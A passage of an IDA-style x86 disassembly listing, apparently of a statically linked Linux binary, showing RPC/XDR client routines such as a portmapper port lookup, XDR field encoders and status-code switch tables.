loc_0_8064834:				; CODE XREF: sub_0_8064438+3B2j
		cmp	[ebp+var_B8], 0
		jle	short loc_0_806486D
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		mov	ecx, [edx+20h]
		push	edx
		mov	edx, [ecx+0Ch]
		call	edx
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_0_806486D
		dec	[ebp+var_B8]
		jmp	loc_0_80644A0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064860:				; CODE XREF: sub_0_8064438+38Fj
		mov	edi, [ebp+var_A8]
		mov	dword ptr [edi+2Ch], 2

loc_0_806486D:				; CODE XREF: sub_0_8064438+3E1j
					; sub_0_8064438+3F9j ...
		mov	eax, [ebp+var_A8]
		mov	eax, [eax+2Ch]

loc_0_8064876:				; CODE XREF: sub_0_8064438+F6j
					; sub_0_8064438+157j ...
		lea	esp, [ebp+var_D8]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064438	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064884	proc near		; DATA XREF: .data:080791C8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+8]
		mov	eax, [edx+2Ch]
		mov	[ecx], eax
		mov	eax, [edx+30h]
		mov	[ecx+4], eax
		mov	eax, [edx+34h]
		mov	[ecx+8], eax
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064884	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80648A8	proc near		; DATA XREF: .data:080791CCo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [eax+8]
		lea	edx, [eax+38h]
		mov	dword ptr [eax+38h], 2
		push	ecx
		push	edx
		call	ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80648A8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80648D0	proc near		; DATA XREF: .data:080791C4o
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80648D0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80648D8	proc near		; DATA XREF: .data:080791D4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_4]
		dec	edx
		cmp	edx, 4		; switch 5 cases 
		ja	short loc_0_8064968 ; default
		jmp	ds:off_0_80648F8[edx*4]	; switch jump
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
off_0_80648F8	dd offset loc_0_806490C	; DATA XREF: sub_0_80648D8+16r
		dd offset loc_0_806491C	; jump table for switch	statement
		dd offset loc_0_806494C
		dd offset loc_0_806492C
		dd offset loc_0_806493C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_806490C:				; CODE XREF: sub_0_80648D8+16j
					; DATA XREF: sub_0_80648D8+20o
		mov	edx, [ebx]	; case 0
		mov	ecx, [ebx+4]
		mov	[eax+24h], edx
		mov	[eax+28h], ecx
		jmp	short loc_0_806496C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806491C:				; CODE XREF: sub_0_80648D8+16j
					; DATA XREF: sub_0_80648D8+20o
		mov	edx, [eax+24h]	; case 0x1
		mov	ecx, [eax+28h]
		mov	[ebx], edx
		mov	[ebx+4], ecx
		jmp	short loc_0_806496C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806492C:				; CODE XREF: sub_0_80648D8+16j
					; DATA XREF: sub_0_80648D8+20o
		mov	edx, [ebx]	; case 0x3
		mov	ecx, [ebx+4]
		mov	[eax+1Ch], edx
		mov	[eax+20h], ecx
		jmp	short loc_0_806496C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806493C:				; CODE XREF: sub_0_80648D8+16j
					; DATA XREF: sub_0_80648D8+20o
		mov	edx, [eax+1Ch]	; case 0x4
		mov	ecx, [eax+20h]
		mov	[ebx], edx
		mov	[ebx+4], ecx
		jmp	short loc_0_806496C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806494C:				; CODE XREF: sub_0_80648D8+16j
					; DATA XREF: sub_0_80648D8+20o
		mov	edx, [eax+8]	; case 0x2
		mov	[ebx], edx
		mov	edx, [eax+0Ch]
		mov	[ebx+4], edx
		mov	edx, [eax+10h]
		mov	[ebx+8], edx
		mov	edx, [eax+14h]
		mov	[ebx+0Ch], edx
		jmp	short loc_0_806496C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064968:				; CODE XREF: sub_0_80648D8+14j
		xor	eax, eax	; default
		jmp	short loc_0_8064971
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_806496C:				; CODE XREF: sub_0_80648D8+3Fj
					; sub_0_80648D8+4Fj ...
		mov	eax, 1

loc_0_8064971:				; CODE XREF: sub_0_80648D8+92j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80648D8	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064978	proc near		; DATA XREF: .data:080791D0o

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [esi+8]
		cmp	dword ptr [ebx+4], 0
		jz	short loc_0_8064994
		call	close([ebx])

loc_0_8064994:				; CODE XREF: sub_0_8064978+Fj
		mov	edx, [ebx+3Ch]
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_0_80649A9
		lea	eax, [ebx+38h]
		push	eax
		mov	eax, [edx+1Ch]
		call	eax
		add	esp, 4

loc_0_80649A9:				; CODE XREF: sub_0_8064978+23j
		call	free(ebx)
		call	free(esi)
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064978	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80649C0	proc near		; CODE XREF: sub_0_8064074+5Bp
					; sub_0_8064438+1EBp
		push	ebp
		mov	ebp, esp
		cmp	ds:dword_0_807E754, 0
		jnz	short loc_0_80649D6
		call	sub_0_8065C48
		mov	ds:dword_0_807E754, eax

loc_0_80649D6:				; CODE XREF: sub_0_80649C0+Aj
		mov	eax, ds:dword_0_807E754
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80649C0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80649E0	proc near		; CODE XREF: sub_0_8063B04+86p
					; sub_0_80641C8+B9p

var_28		= byte ptr -28h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_16], 0
		mov	[ebp+var_14], 0FFFFFFFFh
		mov	word ptr [esi+2], 6F00h
		push	190h
		push	190h
		lea	edx, [ebp+var_14]
		push	edx
		mov	edx, dword_0_80791DC
		push	edx
		mov	edx, dword_0_80791D8
		push	edx
		push	2
		push	186A0h
		push	esi
		call	sub_0_80641C8
		mov	ebx, eax
		add	esp, 20h
		test	ebx, ebx
		jz	short loc_0_8064AB2
		mov	[ebp+var_10], edi
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_C], ecx
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], 0
		mov	ecx, [ebx+4]
		mov	edx, dword_0_80791E4
		mov	eax, dword_0_80791E0
		push	edx
		push	eax
		lea	edx, [ebp+var_16]
		push	edx
		push	offset sub_0_8064FBC
		lea	edx, [ebp+var_10]
		push	edx
		push	offset sub_0_8064AC8
		push	3
		push	ebx
		mov	edx, [ecx]
		call	edx
		add	esp, 20h
		test	eax, eax
		jz	short loc_0_8064A98
		mov	dword_0_8079220, 0Eh
		mov	edx, [ebx+4]
		push	offset dword_0_8079224
		push	ebx
		mov	edx, [edx+8]
		call	edx
		add	esp, 8
		jmp	short loc_0_8064AA9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064A98:				; CODE XREF: sub_0_80649E0+98j
		cmp	[ebp+var_16], 0
		jnz	short loc_0_8064AA9
		mov	dword_0_8079220, 0Fh

loc_0_8064AA9:				; CODE XREF: sub_0_80649E0+B5j
					; sub_0_80649E0+BDj
		mov	edx, [ebx+4]
		push	ebx
		mov	edx, [edx+10h]
		call	edx

loc_0_8064AB2:				; CODE XREF: sub_0_80649E0+52j
		mov	word ptr [esi+2], 0
		movzx	eax, [ebp+var_16]
		lea	esp, [ebp+var_28]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80649E0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064AC8	proc near		; DATA XREF: sub_0_80649E0+87o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_0_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8064B10
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8064B10
		lea	eax, [ebx+8]
		push	eax
		push	esi
		call	sub_0_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8064B10
		lea	eax, [ebx+0Ch]
		push	eax
		push	esi
		call	sub_0_8064F10
		jmp	short loc_0_8064B12
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064B10:				; CODE XREF: sub_0_8064AC8+17j
					; sub_0_8064AC8+28j ...
		xor	eax, eax

loc_0_8064B12:				; CODE XREF: sub_0_8064AC8+45j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064AC8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064B1C	proc near		; CODE XREF: sub_0_8063D20+207p
					; sub_0_8064438+3F4p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_0_806510C
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_8064B3C
		xor	eax, eax
		jmp	short loc_0_8064B4F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064B3C:				; CODE XREF: sub_0_8064B1C+17j
		push	190h
		lea	eax, [ebx+8]
		push	eax
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_80651B8

loc_0_8064B4F:				; CODE XREF: sub_0_8064B1C+1Bj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064B1C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [ebp+0Ch]
		push	8
		push	eax
		push	edx
		call	sub_0_8065120
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+8]
		mov	ebx, [ebp+0Ch]
		push	ebx
		push	esi
		call	sub_0_8064B1C
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8064BC5
		lea	eax, [ebx+0Ch]
		push	eax
		push	esi
		call	sub_0_806510C
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8064BC5
		mov	eax, [ebx+0Ch]
		test	eax, eax
		jz	short loc_0_8064BA8
		cmp	eax, 2
		jz	short loc_0_8064BB4
		jmp	short loc_0_8064BD8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8064BA8:				; CODE XREF: .text:08064B9Fj
		mov	eax, [ebx+10h]
		push	eax
		push	esi
		mov	eax, [ebx+14h]
		call	eax
		jmp	short loc_0_8064BDD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8064BB4:				; CODE XREF: .text:08064BA4j
		lea	eax, [ebx+10h]
		push	eax
		push	esi
		call	sub_0_8064F10
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_8064BCC

loc_0_8064BC5:				; CODE XREF: .text:08064B87j
					; .text:08064B98j
		xor	eax, eax
		jmp	short loc_0_8064BDD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064BCC:				; CODE XREF: .text:08064BC3j
		lea	eax, [ebx+14h]
		push	eax
		push	esi
		call	sub_0_8064F10
		jmp	short loc_0_8064BDD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8064BD8:				; CODE XREF: .text:08064BA6j
		mov	eax, 1

loc_0_8064BDD:				; CODE XREF: .text:08064BB2j
					; .text:08064BC7j ...
		lea	esp, [ebp-8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+8]
		mov	ebx, [ebp+0Ch]
		push	ebx
		push	esi
		call	sub_0_806510C
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8064C3C
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_0_8064C10
		cmp	eax, 1
		jz	short loc_0_8064C30
		jmp	short loc_0_8064C3C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064C10:				; CODE XREF: .text:08064C05j
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8064C3C
		lea	eax, [ebx+8]
		push	eax
		push	esi
		call	sub_0_8064F10
		jmp	short loc_0_8064C3E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064C30:				; CODE XREF: .text:08064C0Aj
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_806510C
		jmp	short loc_0_8064C3E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8064C3C:				; CODE XREF: .text:08064BFFj
					; .text:08064C0Cj ...
		xor	eax, eax

loc_0_8064C3E:				; CODE XREF: .text:08064C2Bj
					; .text:08064C3Aj
		lea	esp, [ebp-8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064C48	proc near		; CODE XREF: sub_0_8063D20+177p
					; sub_0_8064438+385p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_0_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8064C90
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_806510C
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8064C90
		cmp	dword ptr [ebx+4], 1
		jnz	short loc_0_8064C90
		push	0
		push	offset unk_0_80791E8
		lea	eax, [ebx+0Ch]
		push	eax
		lea	eax, [ebx+8]
		push	eax
		push	esi
		call	sub_0_806529C
		jmp	short loc_0_8064C92
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064C90:				; CODE XREF: sub_0_8064C48+17j
					; sub_0_8064C48+28j ...
		xor	eax, eax

loc_0_8064C92:				; CODE XREF: sub_0_8064C48+45j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064C48	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064C9C	proc near		; CODE XREF: sub_0_8063B04+188p
					; sub_0_80641C8+162p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	dword ptr [ebx+4], 0
		mov	dword ptr [ebx+8], 2
		cmp	dword ptr [esi], 0
		jnz	short loc_0_8064D08
		push	ebx
		push	esi
		call	sub_0_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8064D08
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_806510C
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8064D08
		lea	eax, [ebx+8]
		push	eax
		push	esi
		call	sub_0_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8064D08
		lea	eax, [ebx+0Ch]
		push	eax
		push	esi
		call	sub_0_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8064D08
		lea	eax, [ebx+10h]
		push	eax
		push	esi
		call	sub_0_8064F10
		jmp	short loc_0_8064D0A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064D08:				; CODE XREF: sub_0_8064C9C+1Cj
					; sub_0_8064C9C+2Aj ...
		xor	eax, eax

loc_0_8064D0A:				; CODE XREF: sub_0_8064C9C+69j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064C9C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064D14	proc near		; CODE XREF: sub_0_8064DE0+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		cmp	edx, 5		; switch 6 cases 
		ja	short loc_0_8064D8C ; default
		jmp	ds:off_0_8064D2C[edx*4]	; switch jump
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
off_0_8064D2C	dd offset loc_0_8064D80	; DATA XREF: sub_0_8064D14+Er
		dd offset loc_0_8064D44	; jump table for switch	statement
		dd offset loc_0_8064D50
		dd offset loc_0_8064D5C
		dd offset loc_0_8064D68
		dd offset loc_0_8064D74
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8064D44:				; CODE XREF: sub_0_8064D14+Ej
					; DATA XREF: sub_0_8064D14+18o
		mov	dword ptr [eax], 8 ; case 0x1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064D50:				; CODE XREF: sub_0_8064D14+Ej
					; DATA XREF: sub_0_8064D14+18o
		mov	dword ptr [eax], 9 ; case 0x2
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064D5C:				; CODE XREF: sub_0_8064D14+Ej
					; DATA XREF: sub_0_8064D14+18o
		mov	dword ptr [eax], 0Ah ; case 0x3
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064D68:				; CODE XREF: sub_0_8064D14+Ej
					; DATA XREF: sub_0_8064D14+18o
		mov	dword ptr [eax], 0Bh ; case 0x4
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064D74:				; CODE XREF: sub_0_8064D14+Ej
					; DATA XREF: sub_0_8064D14+18o
		mov	dword ptr [eax], 0Ch ; case 0x5
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064D80:				; CODE XREF: sub_0_8064D14+Ej
					; DATA XREF: sub_0_8064D14+18o
		mov	dword ptr [eax], 0 ; case 0
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064D8C:				; CODE XREF: sub_0_8064D14+Cj
		mov	dword ptr [eax], 10h ; default
		mov	dword ptr [eax+4], 0
		mov	[eax+8], edx
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064D14	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064DA0	proc near		; CODE XREF: sub_0_8064DE0+3Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		cmp	edx, 1
		jz	short loc_0_8064DC0
		jb	short loc_0_8064DB5
		cmp	edx, 6
		jnz	short loc_0_8064DCC

loc_0_8064DB5:				; CODE XREF: sub_0_8064DA0+Ej
		mov	dword ptr [eax], 6
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064DC0:				; CODE XREF: sub_0_8064DA0+Cj
		mov	dword ptr [eax], 7
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064DCC:				; CODE XREF: sub_0_8064DA0+13j
		mov	dword ptr [eax], 10h
		mov	dword ptr [eax+4], 1
		mov	[eax+8], edx
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064DA0	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064DE0	proc near		; CODE XREF: sub_0_8063D20+1A0p
					; sub_0_8064438+3A0p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_0_8064DFC
		cmp	eax, 1
		jz	short loc_0_8064E18
		jmp	short loc_0_8064E24
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064DFC:				; CODE XREF: sub_0_8064DE0+10j
		cmp	dword ptr [esi+18h], 0
		jnz	short loc_0_8064E0C
		mov	dword ptr [ebx], 0
		jmp	short loc_0_8064E68
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064E0C:				; CODE XREF: sub_0_8064DE0+20j
		push	ebx
		mov	eax, [esi+18h]
		push	eax
		call	sub_0_8064D14
		jmp	short loc_0_8064E30
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

